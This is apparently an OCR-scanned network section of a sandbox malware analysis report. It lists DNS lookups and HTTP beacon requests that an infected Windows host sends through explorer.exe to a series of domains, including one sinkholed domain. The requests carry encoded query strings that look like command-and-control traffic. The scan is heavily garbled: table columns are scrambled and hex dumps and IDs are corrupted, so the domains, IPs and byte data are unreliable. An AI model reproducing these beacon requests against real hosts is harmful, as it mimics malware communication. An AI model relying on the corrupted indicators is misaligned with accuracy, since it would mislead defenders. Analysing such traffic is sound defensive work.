Jan 13, 2021 21:05:27.704834938 CET 53 56881 8.8.8.8 192.168.2.3
Jan 13, 2021 21:05:33.115914106 CET 53642 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:05:33.178495884 CET 53 53642 8.8.8.8 192.168.2.3
Jan 13, 2021 21:05:38.215327024 CET 55667 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:05:38.447403908 CET 53 55667 8.8.8.8 192.168.2.3
Jan 13, 2021 21:05:43.839272976 CET 54833 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:05:44.220861912 CET 53 54833 8.8.8.8 192.168.2.3
Jan 13, 2021 21:05:49.944683075 CET 62476 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:05:50.007997036 CET 53 62476 8.8.8.8 192.168.2.3
Jan 13, 2021 21:05:55.316931963 CET 49705 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:05:56.331440926 CET 49705 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:05:57.347142935 CET 49705 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:05:57.374772072 CET 53 49705 8.8.8.8 192.168.2.3
Jan 13, 2021 21:05:58.107872963 CET 53 49705 8.8.8.8 192.168.2.3
Jan 13, 2021 21:05:59.126219034 CET 53 49705 8.8.8.8 192.168.2.3
Jan 13, 2021 21:06:07.773875952 CET 61477 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:06:07.833264112 CET 53 61477 8.8.8.8 192.168.2.3

ICMP Packets

Timestamp Source IP Dest IP Checksum Code Type
Jan 13, 2021 21:04:29.053590059 CET 192.168.2.3 8.8.8.8 cff4 (Port Destination
unreachable) Unreachable
Jan 13, 2021 21:05:58.107974052 CET 192.168.2.3 8.8.8.8 cff4 (Port Destination
unreachable) Unreachable
Jan 13, 2021 21:05:59.126867056 CET 192.168.2.3 8.8.8.8 cff4 (Port Destination
unreachable) Unreachable
DNS Queries
Timestamp Source IP Dest IP Trans ID OP Code Name Type Class
Jan 13, 2021 21:04:26.231012106 CET 192.168.2.3 8.8.8.8 0x918b Standard query  www.herbme A (IP address) IN (0x0001)
0) dia.net
Jan 13, 2021 21:04:27.245870113 CET 192.168.2.3 8.8.8.8 0x918b Standard query  www.herbme A (IP address) IN (0x0001)
(0) dia.net
Jan 13, 2021 21:04:33.048207998 CET 192.168.2.3 8.8.8.8 0x42a0 Standard query  www.travel A (IP address) IN (0x0001)
(0) netafrica.com
Jan 13, 2021 21:04:38.657728910 CET 192.168.2.3 8.8.8.8 0x8c8c Standard query  www.latin- A (IP address) IN (0x0001)
(0) hotspot.com
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Timestamp

Jan 13, 2021 21:04:44.082952976 CET

Jan 13, 2021 21:04:49.551908016 CET

Jan 13, 2021 21:04:54.751828909 CET

Jan 13, 2021 21:05:00.530175924 CET

Jan 13, 2021 21:05:05.785716057 CET

Jan 13, 2021 21:05:10.945827961 CET

Jan 13, 2021 21:05:21.233468056 CET

Jan 13, 2021 21:05:27.478451014 CET

Jan 13, 2021 21:05:33.115914106 CET

Jan 13, 2021 21:05:38.215327024 CET

Jan 13, 2021 21:05:43.839272976 CET

Jan 13, 2021 21:05:49.944683075 CET

Jan 13, 2021 21:05:55.316931963 CET

Jan 13, 2021 21:05:56.331440926 CET

Jan 13, 2021 21:05:57.347142935 CET

Jan 13, 2021 21:06:07.773875952 CET

DNS Answers

Timestamp Source IP

Jan 13, 2021
21:04:28.032321930
CET

8.8.8.8

Jan 13, 2021
21:04:29.053430080
CET

8.8.8.8

Jan 13, 2021
21:04:33.252438068
CET

8.8.8.8

Jan 13, 2021
21:04:44.243922949
CET

8.8.8.8

Jan 13, 2021
21:04:44.243922949
CET

8.8.8.8

Jan 13, 2021
21:04:49.624840021
CET

8.8.8.8

Jan 13, 2021
21:04:54.836445093
CET

8.8.8.8

Jan 13, 2021
21:04:54.836445093
CET

8.8.8.8

Jan 13, 2021
21:05:00.592801094
CET

8.8.8.8

Jan 13, 2021 8.8.8.8
21:05:00.592801094

CET

Jan 13, 2021
21:05:05.850408077
CET

8.8.8.8

Jan 13, 2021
21:05:05.850408077
CET

8.8.8.8

Copyright null 2021

Dest IP
192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Source IP

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Trans ID

0x918b

0x918b

0x42a0

Oxdaa8

Oxdaa8

0x396¢

0x6415

0x6415

0xb972

0xb972

0x8969

0x8969

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Reply Code

Server failure

(@)

Server failure

(@)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Trans ID

Oxdaa8

0x396¢

0x6415

0xb972

0x8969

0xdc07

0xc400

0x52c6

0xb023

0x4d47

Oxfcce

0x7b79

0x8d54

0x8d54

0x8d54

0x93cd

Name

www.herbme
dia.net

www.herbme
dia.net

www.travel
netafrica.com

WWWw.procre
ditexpert.com

OP Code Name
Standard query  www.procre
0) ditexpert.com
Standard query  www.fessus
0) esefsee.com
Standard query  www.queens
0) boutique10
00.com
Standard query  www.studen
0) tdividers.com
Standard query  www.logans
(0) shop.net
Standard query  www.epicma
(0) ssiveconce
pts.com
Standard query  www.exit-d
(0) ivorce.com
Standard query  www.splend
(0) idhotelspa.com
Standard query  www.thesou
0) thbeachlife.com
Standard query  www.stnang
0) uo.com
Standard query  www.alparm
(0) uhendislik.com
Standard query  www.soundo
0) n.events

Standard query  www.herbme

0) dia.net
Standard query  www.herbme
(0) dia.net
Standard query  www.herbme
0) dia.net
Standard query  www.latin-
0) hotspot.com
CName Address
none none
none none

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Type
A (IP address)

A (IP address)

173.234.175.134 A (IP address)

us20-d42e32e7-
5da32c142596003de06ec
4b5a.pages.mailchi.mp

us20-d42e32e7- terminator.capstone.com.

5da32c
142596003d
e06ec4db5a.
pages.mail
chi.mp

www.fessus
esefsee.com

www.queens
boutique10
00.com

queensbout
ique1000.com

www.studen
tdividers.com

studentdiv
iders.com

www.logans
shop.net

logansshop.net

akadns.net

45.77.226.209

queensboutique1000.com

142.44.212.169

studentdividers.com

34.102.136.180

logansshop.net

192.0.78.208

CNAME
(Canonical
name)
CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP Dest IP

Jan 13, 2021
21:05:05.850408077
CET

8.8.8.8 192.168.2.3

Jan 13, 2021
21:05:11.003951073
CET

8.8.8.8 192.168.2.3

Jan 13, 2021
21:05:11.003951073
CET

8.8.8.8 192.168.2.3

Jan 13, 2021
21:05:21.578461885
CET

8.8.8.8 192.168.2.3

Jan 13, 2021
21:05:27.704834938
CET

8.8.8.8 192.168.2.3

Jan 13, 2021
21:05:27.704834938
CET

8.8.8.8 192.168.2.3

Jan 13, 2021 8.8.8.8 192.168.2.3
21:05:33.178495884

CET

Jan 13, 2021
21:05:38.447403908
CET

8.8.8.8 192.168.2.3

Jan 13, 2021
21:05:44.220861912
CET

8.8.8.8 192.168.2.3

Jan 13, 2021 8.8.8.8 192.168.2.3
21:05:50.007997036

CET

Jan 13, 2021
21:05:50.007997036
CET

8.8.8.8 192.168.2.3

Jan 13, 2021
21:05:50.007997036
CET

8.8.8.8 192.168.2.3

Jan 13, 2021
21:05:57.374772072
CET

8.8.8.8 192.168.2.3

Jan 13, 2021
21:05:58.107872963
CET

8.8.8.8 192.168.2.3

Jan 13, 2021
21:05:59.126219034
CET

8.8.8.8 192.168.2.3

HTTP Request Dependency Graph

www.travelnetafrica.com
www.fessusesefsee.com
www.queensboutique1000.com
www.studentdividers.com
www.logansshop.net
www.epicmassiveconcepts.com
www.exit-divorce.com
www.splendidhotelspa.com
Www.stnanguo.com
www.alparmuhendislik.com
www.soundon.events

e o o o o 0o 0o o o o o

HTTP Packets

Trans ID

0x8969

0xdc07

0xdc07

0xc400

0x52c6

0x52c6

0xb023

0x4d47

Oxfcce

0x7b79

0x7b79

0x7b79

0x8d54

0x8d54

0x8d54

Session ID Source IP Source Port

0 192.168.2.3 49742
kBytes

Timestamp transferred Direction

Jan 13, 2021 6475 ouT

21:04:33.449708939 CET

Copyright null 2021

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name error (3)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Server failure

(@)

Server failure

(@)

Server failure

(@)

Destination IP

173.234.175.134 80

Data

Name CName

logansshop.net

www.epicma epicmassiveconcepts.co
ssiveconce m

pts.com

epicmassiv

econcepts.com

www.exit-d
ivorce.com

www.splend
idhotelspa.com

splendidhotelspa.com

splendidho
telspa.com

www.thesou
thbeachlife.com

none

www.stnang
uo.com

www.alparm
uhendislik.com

www.soundo
n.events

ext-
cust.squarespace.com

ext-cust.s
quarespace.com

ext-cust.s
quarespace.com

www.herbme none
dia.net
www.herbme none
dia.net
www.herbme none

dia.net

Destination Port Process

C:\Windows\explorer.exe

Address
192.0.78.138

34.102.136.180

192.155.166.181

205.134.254.189

none

146.148.193.212

23.105.124.225

198.49.23.144

198.185.159.145

none

none

none

Type
A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

GET /csv8/?t808sPp=EQmgoSYDEa5LDPvVC5k82JbrO8g/Lv/s9cEF36fL7P4v8Aj5|RO5aZQhgVXoXMO5wnpv&B

Zd=KnhT HTTP/1.1

Host: www.travelnetafrica.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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Timestamp

Jan 13, 2021
21:04:33.642399073 CET

Session ID

1

Timestamp

Jan 13, 2021
21:04:49.690268040 CET

Jan 13, 2021
21:04:49.742832899 CET

Session ID

10

Copyright null 2021

kBytes
transferred

6476

Source IP

192.168.2.3
kBytes

transferred

9647

9648

Source IP

192.168.2.3

Direction

IN

Source Port

49755

Direction

ouT

Source Port

49768

Data

HTTP/1.1 500 Internal Server Error

Cache-Control: private

Content-Type: text/html; charset=utf-8

Server: Microsoft-11S/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: *

Access-Control-Allow-Methods: GET, POST

Date: Wed, 13 Jan 2021 20:04:32 GMT

Connection: close

Content-Length: 4298

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0d Oa 3c 68 74 6d 6¢ 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d
0a 20 20 20 20 20 20 20 20 3c 74 69 74 6¢ 65 3e €5 80 bc e4 b8 8d €8 83 bd e4 b8 ba 20 6e 75 6¢ 6¢ €3 80 82 3c 62 72
3e e58f 82 e6 95 b0 e5 90 8d 3a 20 69 6e 70 75 74 3c 2f 74 69 74 6¢ 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61
20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d
77 69 64 74 68 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6¢ 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 62 6f 64
79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 22 56 65 72 64 61 6e 61 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72
6d 61 6¢ 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 2e 37 65 6d 3b 63 6f 6¢ 6f 72 3a 62 6¢ 61 63 6b 3b 7d 20 0d Oa 20 20 20 20
2020 20 20 20 70 20 7b 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 22 56 65 72 64 61 6e 61 22 3b 66 6f 6e 74 2d 77 65 69 67 6
8 74 3a 6e 6f 72 6d 61 6¢ 3b 63 6f 6¢ 6f 72 3a 62 6¢ 61 63 6b 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 2d 35 70 78 7d 0d O
a 20 20 20 20 20 20 20 20 20 62 20 7b 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 22 56 65 72 64 61 6e 61 22 3b 66 6f 6e 74 2d
77 65 69 67 68 74 3a 62 6f 6¢ 64 3b 63 6f 6¢ 6f 72 3a 62 6¢ 61 63 6b 3b 6d 61 72 67 69 6€ 2d 74 6f 70 3a 20 2d 35 70 78
7d 0d 0a 20 20 20 20 20 20 20 20 20 48 31 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 22 56 65 72 64 61 6e 61 22 3b
66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6¢ 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 74 3b 63 6f 6¢ 6f 72 3a
72 65 64 20 7d 0d Oa 20 20 20 20 20 20 20 20 20 48 32 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 22 56 65 72 64 61
6e 61 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6¢ 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 74 3b 63 6f
6¢ 6f 72 3a 6d 61 72 6f 6f 6e 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 70 72 65 20 7b 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a
22 43 6f 6e 73 6f 6¢ 61 73 22 2¢ 22 4¢ 75 63 69 64 61 20 43 6f 6e 73 6f 6¢ 65 22 2¢ 4d 6f 6e 6f 73 70 61 63 65 3b 66 6f 6e
74 2d 73 69 7a 65 3a 31 31 70 74 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 2e 35 65 6d 3b 6¢ 69 6e 65
2d 68 65 69 67 68 74 3a 31 34 70 74 7d 0d Oa 20 20 20 20 20 20 20 20 20 2e 6d 61 72 6b 65 72 20 7b 66 6f 6e 74 2d 77
65 69 67 68 74 3a 20 62 6f 6¢ 64 3b 20 63 6f 6¢ 6f 72 3a 20 62 6¢ 61 63 6b 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f
6e 3a 20 6e 6f 6e 65 3b 7d 0d 0a 20 20 20 20 20 20 20 20 20 2e 76 65 72 73 69 6f 6e 20 7b 63 6f 6¢ 6f 72 3a 20 67 72 61
79 3b 7d 0d 0a 20 20 20 20 20 20 20 20 20 2e 65 72 72 6f 72 20 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 30 70
78 3b 7d 0d 0a 20 20 20 20 20 20 20 20 20 2e 65 78 70 61 6e 64 61 62 6¢ 65 20 7b 20 74 65 78 74 2d 64 65 63 6f 72 61
74 69 6f 6e 3a 75 6e 64 65 72 6¢ 69 6e 65 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6¢ 64 3b 20 63 6f 6¢ 6f 72 3a
6e 61 76 79 3b 20 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 20 7d 0d

Data Ascii: <IDOCTYPE html><html> <head> <title> null<br>: input</title> <meta name="viewport" content=
"width=device-width" /> <style> body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}

p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verdana";font-weight:bold;col
or:black;margin-top: -5px} H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red } H2 { font-fami
ly:"Verdana";font-weight:normal;font-size:14pt;color:maroon } pre {font-family:"Consolas","Lucida Console",Monos
pace;font-size:11pt;margin:0;padding:0.5em;line-height:14pt} .marker {font-weight: bold; color: black;text-decoration:
none;} .version {color: gray;} .error {margin-bottom: 10px;} .expandable { text-decoration:underline; font-we
ight:bold; color:navy; cursor:pointer; }

Destination IP Destination Port Process

45.77.226.209 80 C:\Windows\explorer.exe

Data

GET /csv8/?t808sPp=+aP4wUbNbXNo+DXgxdcGOO71e47nUjGI8093VpAmMIXcOKCIjUH4+hXL6+b4dsCsJZjty&jB
Zd=KnhT HTTP/1.1

Host: www.fessusesefsee.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Date: Wed, 13 Jan 2021 20:16:25 GMT

Server: X-SinkHole: Malware DNS SinkHole Server

Content-Length: 307

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3¢ 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 34 30 34 20 4e 6f
74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f
75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 73 76 38 2f 20 77 61 73
20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e Oa 3¢ 68 72 3e 0a 3c 61 64 64
72 65 73 73 3e 58 2d 53 69 6e 6b 48 6f 6¢ 65 3a 20 4d 61 6¢ 77 61 72 65 20 44 4e 53 20 53 69 6e 6b 48 6f 6¢ 65 20 53 65
7276 6572205365 727665722061 74207777 77 2e 66 65 73 73 75 73 65 73 65 66 73 65 65 2e 63 6f 6d 20 50 6f
7274 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /csv8/ was not found on this server.</p><hr><address>X-SinkHole:
Malware DNS SinkHole Server Server at www.fessusesefsee.com Port 80</address></body></html>

Destination IP Destination Port Process

198.49.23.144 80 C:\Windows\explorer.exe
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Timestamp

Jan 13, 2021
21:05:50.138555050 CET

Jan 13, 2021
21:05:50.268177986 CET

Session ID

11

Timestamp

Jan 13, 2021
21:06:02.573239088 CET

Copyright null 2021

kBytes
transferred

9995

9996

Source IP

192.168.2.3

kBytes
transferred

10013

Direction

ouT

Source Port

49769

Direction

ouT

Data

GET /csv8/?t808sPp=f1zFyjNxEhLridJwdKKCz7YQnzvARTIiViSvHXssl+N40gmlvXkDdEgQuhFCZDVROrFwZR&jBZd=KnhT
HTTP/1.1

Host: www.soundon.events

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 400 Bad Request

Cache-Control: no-cache, must-revalidate

Content-Length: 77564

Content-Type: text/html; charset=UTF-8

Date: Wed, 13 Jan 2021 20:05:50 UTC

Expires: Thu, 01 Jan 1970 00:00:00 UTC

Pragma: no-cache

Server: Squarespace

X-Contextid: evn59079/p8IFMy6X

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6¢ 65 3e 34 30 30 20
4261 64 20 52 65 71 75 65 73 74 3¢ 2f 74 69 74 6¢ 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f
7274 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61
6¢ 2d 73 63 61 6¢ 65 3d 31 22 3e 0a 20 20 3¢ 73 74 79 6¢ 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20
20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d Oa 0a 20 20 6d 6
169 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6¢ 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 3
025 3b 0a 20 20 20 20 6¢ 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6C
61 74 65 28 2d 35 30 25 2¢ 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6¢ 69 67 6e 3a 20 63 65 6e 74 65 72
3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d Oa Oa 20 20 6d 61 69 6e 20 68 31 20 7b
0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34
2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6¢ 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30
203020 31 31 70 78 20 30 3b 0a 20 20 7d 0Oa Oa 20 20 6d 61 69 6e 20 70 20 7hb 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a
65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6¢ 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 66 6f 6e 74 2d 77
65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 6¢ 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d
61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d Oa Oa 20 20 6d 61 69 6e 20 70 20 61 20 7b Oa 20 20 20 20 63 6f 6¢ 6f 72 3a 20
23336133 613361 3b0a20 202020 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20
62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6¢ 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d Oa Oa 20
2062 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 20 22 43 6¢ 61 72 6b 73 6f 6 22 2¢ 20 73 61 6€
732d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d Oa Oa 20 20 23 73
74617475 73 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6¢ 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 7d Oa Oa 20 20
66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6¢ 75 74 65 3b 0a 20 20 20 20 62 6f 74
74 6f 6d 3a 20 32 32 70 78 3b 0a 20 20 20 20 6¢ 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3
b 0a 20 20 20 20 74 65 78 74 2d 61 6¢ 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6¢ 69 6e 65 2d 68 65 69 67
68 74 3a 20 32 65 6d 3b 0a 20 20 7d Oa 0a 20 20 66 6f 6f 74 65 72 20 73 70 61 6e 20 7b 0a 20 20 20 20 6d 61 72 67 69
6e 3a 20 30 20 31 31 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 65 6d 3b 0a 20 20 20 20

Data Ascii: <IDOCTYPE html><head> <title>400 Bad Request</titte> <meta name="viewport" content="width=device-
width, initial-scale=1"> <style type="text/css"> body { background: white; } main { position: absolute; top: 50%;

left: 50%; transform: translate(-50%, -50%); text-align: center; min-width: 95vw; } main hl { font-weight: 300;
font-size: 4.6em; color: #191919; margin: 0 0 11px 0; } main p{ font-size: 1.4em; color: #3a3a3a; font-weight: 3
00; line-height: 2em; margin: 0; } mainpa{ color: #3a3a3a; text-decoration: none; border-bottom: solid 1px
#3a3a3a; } body{ font-family: "Clarkson", sans-serif; font-size: 12px; } #status-page { display: none; } footer {
position: absolute; bottom: 22px; left: 0; width: 100%; text-align: center; line-height: 2em; } footer span {

margin: 0 11px; font-size: lem;

Destination IP Destination Port Process

173.234.175.134 80 C:\Windows\explorer.exe

Data

GET /csv8/?t808sPp=EQmgoSYDEa5LDPvVC5k82JbrO8g/Lv/s9cEF36fL7P4v8Aj5|RO5aZQhgVX0oXMO5wnpv&iB
Zd=KnhT HTTP/1.1

Host: www.travelnetafrica.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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Timestamp

Jan 13, 2021
21:06:02.767956018 CET

Session ID

12

Timestamp

Jan 13, 2021
21:06:18.190871000 CET

Jan 13, 2021
21:06:18.245893002 CET

Session ID

13

Copyright null 2021

kBytes
transferred

10015

Source IP

192.168.2.3
kBytes

transferred

10020

10021

Source IP

192.168.2.3

Direction

IN

Source Port

49771

Direction

ouT

Source Port

49772

Data

HTTP/1.1 500 Internal Server Error

Cache-Control: private

Content-Type: text/html; charset=utf-8

Server: Microsoft-11S/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: *

Access-Control-Allow-Methods: GET, POST

Date: Wed, 13 Jan 2021 20:06:01 GMT

Connection: close

Content-Length: 4298

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0d Oa 3c 68 74 6d 6¢ 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d
0a 20 20 20 20 20 20 20 20 3c 74 69 74 6¢ 65 3e €5 80 bc e4 b8 8d €8 83 bd e4 b8 ba 20 6e 75 6¢ 6¢ €3 80 82 3c 62 72
3e e58f 82 e6 95 b0 e5 90 8d 3a 20 69 6e 70 75 74 3c 2f 74 69 74 6¢ 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61
20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d
77 69 64 74 68 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6¢ 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 62 6f 64
79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 22 56 65 72 64 61 6e 61 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72
6d 61 6¢ 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 2e 37 65 6d 3b 63 6f 6¢ 6f 72 3a 62 6¢ 61 63 6b 3b 7d 20 0d Oa 20 20 20 20
2020 20 20 20 70 20 7b 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 22 56 65 72 64 61 6e 61 22 3b 66 6f 6e 74 2d 77 65 69 67 6
8 74 3a 6e 6f 72 6d 61 6¢ 3b 63 6f 6¢ 6f 72 3a 62 6¢ 61 63 6b 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 2d 35 70 78 7d 0d O
a 20 20 20 20 20 20 20 20 20 62 20 7b 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 22 56 65 72 64 61 6e 61 22 3b 66 6f 6e 74 2d
77 65 69 67 68 74 3a 62 6f 6¢ 64 3b 63 6f 6¢ 6f 72 3a 62 6¢ 61 63 6b 3b 6d 61 72 67 69 6€ 2d 74 6f 70 3a 20 2d 35 70 78
7d 0d 0a 20 20 20 20 20 20 20 20 20 48 31 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 22 56 65 72 64 61 6e 61 22 3b
